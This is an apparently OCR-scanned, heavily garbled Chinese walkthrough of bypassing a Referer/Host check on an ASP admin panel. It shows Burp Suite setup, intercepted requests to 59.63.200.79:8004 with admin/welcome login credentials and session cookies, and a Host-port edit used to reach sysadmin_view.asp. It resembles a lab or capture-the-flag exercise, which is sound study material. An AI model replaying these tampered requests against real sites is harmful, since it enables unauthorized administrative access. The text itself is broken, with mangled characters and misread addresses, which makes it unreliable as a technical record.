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i5E1 &M Curl(host) X :
http://59.63.200.79:81/admin123/sysadmin_view.asp
{581 & Comeurl(referer)? :
http://59.63.200.79:8004/adminl23/default.asp

L).'F)‘J*UJ!EEEREHE RYARFNSH -

dlm ComeUrl, cUrl, AdminName

ComeUrl=lcase(trim(request.ServerVariables("HTTP_REFERER")))
ComeUr1-""

res

erverVariables ("SERVER_NAME"))
mid(ComeUrl et

cUrl=cUrl G .ServerVariables("SERVER_FORT")

CRIPT_NAME"))
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AFREHUERERIIERSEE (S

T Fburpsuite->proxy->Options->Add

Add anew proxy listener

J Binding T Request handling I Certificate }

@ These settings control how Burp binds the proxy listener,
Bind to port: 8080

Bindto address; ® Loopback only
) Allinterfaces

() Specific address: l12?‘.0.0.1 v|

REFE, BIRIERTE, @MAKSEWY, HE, XBEE— TFburpsuite->proxy->intercept, Mii{s B S & 3k

J Intercept T HTTP history T WebSockets history I Options ]

/ Request to http:/59.63.200.79:8004

l Forward J l Crop J | Intercept is on | Action

J Raw T Params T Headers T Hex 1

1 POST fadminl23/Admin_ChklLogin.aspHTTP/1.1

Host: 55.63.200.79: 8004

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101 Firefox/68.0
LAccept: text/html, application/xhtml+xml, application/xml; q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://59.63.200.79:8004/adminl23/Login. asp

2 Content-Type: application/x-www-Torm-urlencoded

o Content-Length: 80

10 Connection: close

11 Cookle: ASPSESSIONIDAST AQTSC=MNLGLKLMAHOI AJCLHHMFGPAPD

12 Upgrade-Insecure-Requests: 1

13

14 UserMame=admin&Password=welcome&Check Code=0855a5ubml t=+5CE%E 7% 25% 2 31 60  SE%C BN IR+

[T ¥ B N VY I N ]

A1 diforward$: 32 24 5 W i HdE

L GET fadminl23/default.asp HTTR/1.1

2 Host: 59.63.200.79: 8004

3 User-Agent: Moz1illa/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
1 Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8

5 Accept-Language: en-Us,en;gq=0.5

5 Accept-Encoding: gzip, deflate

7 Referer: http://59.63.200.79:8004/admnl23/Login.asp

3 Connection: close

Cookle: ASPSESSIONIDAST AQT SC=MNLGLKLMAHOJAJCLHHMFGRARD
Upgrade-Insecure-Requests: 1
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/ Request to http:/59.63.200.79:8004

l Forward J l Drop J | Intercept is on | Action

J Raw T Params T Headers T Hex 1

1 GET fadminl23/LeftTree.aspHTTR/1.1

Host: 55.63.200.79: 8004

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101 Firefox/68.0
LAccept: text/html, application/xhtml+xml, application/xml; q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://59.63.200.79:8004/adminlz3/default. asp

2 Connection: close

o Cookle: ASPSESSIONIDAST AQTSC=NLGLKLMAHDI AJCLHHMFGPAPD

10 Upgrade-Insecure-Requests: 1

11
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[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extende

J Intercept T HTTP history T WebSockets history I Optiens ]

/ Request to http:/59.63.200.79:8004

l Forward J l Crop J | Intercept is on | Action

j Raw T Params T Headers T Hex 1

1 GET fadminl23/default.asp?menu=top HTTP/1.1

Host: 55.63.200.79: 8004

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101 Firefox/68.0
LAccept: text/html, application/xhtml+xml, application/xml; q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

| Accept-Encoding: gzip, deflate

Referer: http://59.63.200.79:8004/adminlz3/default. asp

2 Connection: close

Cookle: ASPSESSIONIDAST AQT SC=EMGLKLMALFHEIDI BMMMAIKGP

10 Upgrade-Insecure-Requests: 1
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burpsuiteffiZk | T —FERTHIE R :
l Forward J l Crop J |Intercepti50n | Action Comr

J Raw T Params T Headers T Hex ]

GET fadminl23/sysadmin_view.asp HTTP/1.1

' Host: 59.63.200.79: 8004

User-Agent: Mozillay/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en; q=0.5

Accept-Encoding: gzip, deflate

Referer: http://59.63.200.79: 8004/ adminl23/default.asp

! Connection: close

Cookle: ASPSESSIONIDAST AQTSC=EBMGLKLMALFHEIDI EMMMAJKGP
Upgrade-Insecure-Requests: 1

[TV S I

[ T W I Y

o om =

—
lo]

A] LUE B %2515 R sysadmin_view.asp, 4k4k miiiforward, ikl %2515 Kk sysadmin_view.asp



= c @ @ 59.63.200.79 i n 0 ® @

Kali Linux Kali Training Kali Tools « Kali Docs Kali Forums NetHunter ]| Offensive Security Exploit-DB GHDB || MSFU
B A EE R 5%

WAE , AT RERE  Faf A SsEisaE R RENESEENE,

i5E1 &M Curl(host) X :
http://59.63.200.79:81/admin123/sysadmin_view.asp
{581 & Comeurl(referer)? :
http://59.63.200.79:8004/adminl23/default.asp

UFhEDREERBLE , REBRFNS :

dim ComeUrl, cUrl,AdminName

ComeUrl=1case(trim(reque
ComeUrl-""
respon arit

(ComeUrl,len(cUrl

cUrl=curl et

W4k E B HAE T, WHEHRAFEHE, REB[/IERE BHATHHEAR, ZERBATE V7
Comurl(referer)5Curl (host) —2 i)  FEitk, EF#T LEREE, E£&E—PUREREN, &
burpsuitefZ i K15 .

l Forward J l Crop J [ Intercept is on | Action

J Raw T Params T Headers T Hex 1

)

GET fadminlz3/sysadmin_view.aspHTTP/1.1

Host: 59.63.200.79: 8004 3004{£32581

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101 Firefox/68.0
LAccept: text/html, application/xhtml+xml, application/xml; q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://59.63.200.79:8004/adminlz23/default. asp

g Connection: close 8004E3A81
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S Cookie: ASPSESSIONIDAST AQTSC=BMGLKLMALFHEIDI BMMNAIKGP
10 Upgrade-Insecure-Requests: 1
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